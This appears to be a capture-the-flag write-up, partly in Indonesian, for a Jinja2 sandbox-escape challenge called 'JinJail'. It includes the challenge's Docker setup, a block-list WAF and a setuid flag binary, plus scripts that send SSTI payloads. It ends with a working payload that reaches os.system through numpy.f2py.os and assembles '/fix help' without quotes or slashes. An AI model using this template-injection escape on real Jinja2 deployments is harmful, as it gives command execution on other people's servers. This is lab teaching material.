JinJail

description
Author: daffainfo
Pyjail? No, this is JinJail!
Attachments
docker-compose.yml
services:
misc-flaskjail:
build: .
ports:
- 32811:13337
deploy:
resources:
limits:
cpus: "0.5"
memory: "256M"
reservations:
cpus: "0.25"
memory: "128M"Dockerfile
FROM python:3.11-slim
RUN adduser ctf
WORKDIR /app
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1
RUN apt-get update && \
apt-get -y install socat gcc && \
rm -rf /var/lib/apt/lists/*
COPY app.py requirements.txt ./
COPY flag.txt /root/flag.txt
RUN pip install --no-cache-dir -r requirements.txt
RUN chmod 400 /root/flag.txt && \
chown root:root /root/flag.txt
RUN chown -R ctf:ctf /app
COPY fix.c /tmp/fix.c
RUN gcc /tmp/fix.c -o /fix
RUN rm /tmp/fix.c
RUN chmod 4755 /fix
EXPOSE 13337
ENTRYPOINT ["socat", "TCP-LISTEN:13337,reuseaddr,fork,nodelay,su=ctf", "EXEC:'timeout 30 python3 app.py'"]requirements.txt
Jinja2
numpyapp.py
import numpy
import string
from functools import wraps
from collections import Counter
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
env.globals["numpy"] = numpy
def waf(content):
allowlist = set(string.ascii_lowercase + string.ascii_uppercase + string.punctuation + string.digits + ' ')
blocklist = ['fromfile', 'savetxt', 'load', 'array', 'packbits', 'ctypes', 'eval', 'exec', 'breakpoint', 'input', '+', '-', '/', '\\', '|', '"', "'"]
char_limits = {
'(': 3,
')': 3,
'[': 3,
']': 3,
'{': 3,
'}': 3,
',': 10
}
if len(content) > 275:
raise ValueError("Nope")
for ch in content:
if ch not in allowlist:
raise ValueError("Nope")
lower_value = content.lower()
for blocked in blocklist:
if blocked.lower() in lower_value:
raise ValueError("Nope")
counter = Counter(ch for ch in content if ch in char_limits)
for ch, count in counter.items():
if count > char_limits[ch]:
raise ValueError("Nope")
def main():
content = input(">>> ")
try:
waf(content)
result = env.from_string(content).render()
print(result)
except ValueError as e:
print(e.args[0])
except Exception:
print("Nope")
if __name__ == "__main__":
main()fix.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcasecmp(argv[1], "help") == 0) {
setuid(0);
system("cat /root/flag.txt");
} else {
printf("Nope, you didnt ask for help...\n");
}
return 0;
}Overview
Challenge ini adalah Jinja2 SSTI di dalam lingkungan Python Sandbox dengan WAF (Web Application Firewall) yang sangat ketat.
Tujuan: Menjalankan binary khusus /fix help (sesuai source code fix.c yang diberikan) untuk membaca flag.
WAF Restrictions
- Blokir karakter kritis:
+,-,/,\, quotes (',"). - Batas jumlah kurung:
(),[],{}(sangat sedikit, mempersulit pemanggilan fungsi kompleks). - Blacklist keywords:
class,mro,base,import,eval,exec,os,sys, dll. - Allowed global: Hanya library
numpyyang tersedia secara eksplisit.
Enumeration (hasil dari AI)
disini saya menggunakan AI untuk membantu proses enumerasi, karena WAF yang sangat ketat membuat enumerasi manual menjadi sangat sulit dan memakan waktu. saya meminta AI utnuk memmbantu menganalisa source code attachment, mencari celah, danmembuatkan script untuk melakukan enumerasi otomatis.
ini adalah step enumerasi yang saya lakukan untuk memahami lingkungan dan mencari celah (sebenenrya scriptnya ada banyak tapi saya hanya akan tampilkan yang penting saja):
Step 1. Enumerate basic Jinja2 features
#!/usr/bin/env python3
import socket
import sys
# default fallback
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 13337
# ambil dari argument
HOST = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
payloads = [
"{{7*7}}",
"{{numpy}}",
"{{numpy.core}}",
"{{numpy.lib}}",
"{{numpy.compat}}",
"{{numpy.linalg}}",
"{{numpy.random}}",
"{{numpy.testing}}",
"{{numpy.f2py}}",
"{{numpy.f2py.os}}",
"{{numpy.f2py.os.system}}",
"{{numpy.f2py.os.sep}}",
]
def send_payload(payload):
try:
s = socket.create_connection((HOST, PORT))
s.recv(1024)
s.sendall(payload.encode() + b"\n")
result = s.recv(4096).decode(errors="ignore")
s.close()
return result.strip()
except Exception as e:
return f"ERROR: {e}"
def main():
print(f"=== JinJail Enumeration ===")
print(f"Target: {HOST}:{PORT}\n")
for payload in payloads:
print(f"[PAYLOAD] {payload}")
result = send_payload(payload)
print(f"[RESULT] {result}")
print("-" * 50)
if __name__ == "__main__":
main()python3 enum.py challenges.1pc.tf 29333
Step 2. Bypass Test WAF
#!/usr/bin/env python3
import socket
import sys
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 13337
HOST = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
payloads = [
# test akses os module
"{{numpy.f2py.os}}",
# test ambil slash tanpa ketik /
"{{numpy.f2py.os.sep}}",
# test dict repr (buat dapetin string tanpa quotes)
"{{dict(fix=1,help=1)}}",
# test concat jadi string
"{% set s=dict(fix=1,help=1)~1 %}{{s}}",
# test slicing ambil fix
"{% set s=dict(fix=1,help=1)~1 %}{{s[2:5]}}",
# test slicing ambil help
"{% set s=dict(fix=1,help=1)~1 %}{{s[12:16]}}",
# test build string "/fix"
"{% set s=dict(fix=1,help=1)~1 %}{{numpy.f2py.os.sep~s[2:5]}}",
# test build string "/fix help"
"{% set s=dict(fix=1,help=1)~1 %}{{numpy.f2py.os.sep~s[2:5]~s[7]~s[12:16]}}",
]
def send(payload):
try:
s = socket.create_connection((HOST, PORT))
s.recv(1024)
s.sendall(payload.encode() + b"\n")
result = s.recv(4096).decode(errors="ignore")
s.close()
return result.strip()
except Exception as e:
return f"ERROR: {e}"
def main():
print(f"=== WAF Bypass Tester ===")
print(f"Target: {HOST}:{PORT}\n")
for payload in payloads:
print(f"[PAYLOAD]")
print(payload)
result = send(payload)
print("[RESULT]")
print(result)
print("="*60)
if __name__ == "__main__":
main()python3 waf_bypass.py challenges.1pc.tf 29333
Langkah Penyelesaian
1. Persiapan Koneksi
Supaya nyaman trial payload, gunakan rlwrap:
while true; do rlwrap nc challenges.1pc.tf 37425; done
2. Mencari Celah Eksekusi (RCE)
Karena akses ke __builtins__, __class__, dan modul standar os/sys diblokir, kita harus mencari jalan lain. Library besar seperti NumPy sering mengekspos modul sistem secara tidak sengaja di sub-modulnya.
- Percobaan 1:
{{ numpy.os }}→ Gagal (Error/None) - Percobaan 2:
{{ numpy.f2py.os }}→ Berhasil! Mengembalikan modul<module 'os' ...>

Ini celah untuk menjalankan perintah sistem.
3. Bypass Limitasi Karakter
Tantangan utama: membuat string /fix help tanpa quotes dan slash.
a. Mencari karakter / (slash)
- Tidak bisa mengetik
/, jadi cari variabel yang isinya slash:{{ numpy.f2py.os.sep }}→ Output:/
b. Mencari string "fix" dan "help"
- Tidak bisa mengetik "fix". Ide: gunakan
dict()karena representasi string-nya (repr) mengandung nama key-nya.- Test:
{{ dict(fix=1, help=1) }}→ Output:{'fix': 1, 'help': 1}
- Test:
c. Mengubah dict ke string
- Karena dict tidak bisa di-slice langsung, ubah ke string dengan
~ 1(concat dengan integer):- Payload:
{% set s = dict(fix=1, help=1) ~ 1 %}{{ s }}→ Output:{'fix': 1, 'help': 1}1
- Payload:
d. Menghitung indeks karakter
String hasil: {'fix': 1, 'help': 1}1
String:
{ 'fix' : 1, 'help' : 1 }1Index Table
| Index | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Char | { | ' | f | i | x | ' | : | ␠ | 1 | , | ␠ | ' | h | e | l | p | ' | : | ␠ | 1 | } | 1 |
Visual Target Mapping
String: { 'fix' : 1, 'help' : 1 }1
Index : 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
Char : { ' f i x ' : _ 1 , _ ' h e l p ' : _ 1 } 1
^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | |
f i x space h e l pTarget:
/→numpy.f2py.os.sepfix→s[2:5]- spasi →
s[7] help→s[12:16]
4. Payload Final (Eksekusi Flag)
Langkah akhir: susun string /fix help dari potongan variabel, lalu eksekusi dengan numpy.
Step-by-step:
-
Buat string sumber karakter:
{% set s = dict(fix=1, help=1) ~ 1 %}Ini menghasilkan string:
{'fix': 1, 'help': 1}1 -
Rangkai perintah:
/→numpy.f2py.os.sepfix→s[2:5]- spasi →
s[7] help→s[12:16]
-
Gabungkan dan eksekusi:
{{ numpy.f2py.os.system(numpy.f2py.os.sep ~ s[2:5] ~ s[7] ~ s[12:16]) }}
Payload lengkap:
{% set s = dict(fix=1, help=1) ~ 1 %}
{{ numpy.f2py.os.system(numpy.f2py.os.sep ~ s[2:5] ~ s[7] ~ s[12:16]) }}
Flag
C2C{damnnn_i_love_numpy_a5578d341afe}